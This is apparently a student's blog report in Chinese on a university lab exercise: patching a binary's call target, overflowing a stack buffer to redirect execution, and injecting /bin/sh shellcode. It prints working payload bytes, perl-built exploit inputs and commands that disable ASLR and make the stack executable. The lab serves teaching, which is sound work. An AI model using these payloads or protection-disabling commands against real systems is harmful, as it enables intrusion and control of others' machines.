姁姁迷弟

博客园 首页 新随笔 联系 订阅 管理

一、实验内容

修改机器指令

BOF改变指令流

函数调用与堆栈

注入ShellCode与防护措施

二、实验步骤

1.直接修改程序机器指令,改变程序执行流程

  • 首先进入刘老师的gitee后找到第三个

  • 下载后拷贝至kali中

  • 输入objdump -d pwn20175329 | more进行反汇编

  • 我们可以看到机器码16进制对应的汇编指令,和程序在运行时每条指令所在的内存地址。这里可以看到,main函数第4行(内存地址80484b5)跳转到了foo函数(内存地址8048491),接下来的实验中用到的getShell函数的内存地址为804847d。机器指令e8即为跳转,后面的数值d7ffffff是补码,表示-41=0x29。经过计算,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。然后我们下一步要做的事对可执行文件进行修改,令其在main函数中第4条指令跳转到getShell函数,而不是foo函数。只要我们修改可执行文件“d7ffffff”为,"804847d-80484ba"对应的补码就为c3ffffff。

  • 用vim指令vi pwn20175329编辑该文件

    发现文件指令为乱码,因为pwn为可执行文件所以需要将其转化为十六进制文件输入Esc后输入:加入%!xxd指令可显示如下

    输入:wq保存闪盘退出

  • 输入/e8 d7查找要修改的内容,然后分别输入rcr3将d7改为c3,下图为改完后的结果

  • 如图所示更改跳回地址后调用getshell函数

2.通过构造输入参数,造成BOF攻击,改变程序执行流

使用命令gdb pwn1调试程序,参数r表示运行
若输入的字符串小于等于28个字节,那么程序正常运行;若输入的字符串大于28个字节,则会报错
使用info r指令显示寄存器的值

使用perl语言,能够将无法通过键盘输入的十六进制值直接输入,并使用输出重定向">"将perl生成的字符串存储到文件中。例如:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 是将字符串"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"重定向到文件input中。
xxd 文件名将文件内容以16进制形式呈现。
(cat 文件名file1;cat) | 可执行文件名file2file1中的字符串通过管道传递给file2,作为可执行文件file2的输入

  • 看到很多同学博客中在执行exit后再使用pwd指令进行查找时发现产生段错误,这里我想应该是调用函数导致缓冲区溢出发生错误而无法再次显示路径

3.注入Shellcode并执行

shellcode就是一段机器指令(code)

  • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),

  • 所以这段机器指令被称为shellcode。

  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

  • 一般Shellcode指令需要用C语言编写后生成二进制后转化为十六进制,在此我们使用老师所给的\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80进行调用。
    这个shellcode的大概原理是:EAX被赋值为0XbECX入栈,/bin//sh字符串入栈,并将其首地址赋给了EBX,执行int 80h,触发中断,调用sys_execve("/bin//sh", 0, 0, 0),通过/bin/sh软链接打开一个shell

  • 要让注入的shellcode执行其实需要有一定条件,我们这里为了简化,需要关掉一些防护措施
    execstack -s pwn1 //设置堆栈可执行
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    我下的KALI真可谓原生态里面什么都没有 execstack需要安装

Linux下有两种基本构造攻击buf的方法:

retaddr + nop + shellcode
nop + shellcode + retaddr
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
如果尝试nop + shellcode + retaddr,我们最后会发现ret之后push %ebx的操作会把我们的shellcode覆盖。所以我们这里还是采用retaddr + nop + shellcode的方法。
由于之前我们已经算出要覆盖retaddr需要的字节数,所以我们可以直接构造
(perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"';cat)|./pwn1
首先通过gdb调试找到foo函数返回值

通过ps -ef | grep pwn查看缓冲区溢出位置

  • 知道ret返回值后在此利用gdb设置断点进一步调试
    由于实验中途中断过 所以进程数不同但原理相同gdb通过attach跟踪
  • 通过gdp调试查找esp寄存器
  • 修改shellcode指令进行调试
  • 指令为perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode root@kali:/home/kali/Desktop/20175329/exp1# (cat input_shellcode;cat) | ./pwn1
  • 调试成功

三、实验感悟

说真的,我觉得对我这种三流计算机学生来说这种实验确实很难,不仅需要重新温习早就忘了的linux指令,还需要重新温习汇编语言中所学过的堆栈概念并能自行计算出所需要调用的参数返回地址,完成这类实验对于我来说花费了很大的精力,因为在家无人知道很多细节的原因也需要自己努力去探究,但是能独立把实验做出来我感觉很有满足感同时也感觉到成为黑客或者geek所需要学习的东西太多太多。

漏洞的理解

本次实验漏洞主要是通过缓冲区溢出发生错误通过修改shellcode代码实现达到自己所想要跳转的代码指令从而黑入系统获得权限,本次实验原理从刚刚上大学就开始介绍过缓冲区溢出攻击,但是实际操作时发现有很多的问题需要总结需要注意,想要学好linux并且能利用我感觉还是挺难的。

posted on 2020-03-04 16:52  姁姁迷弟  阅读(257)  评论(0编辑  收藏  举报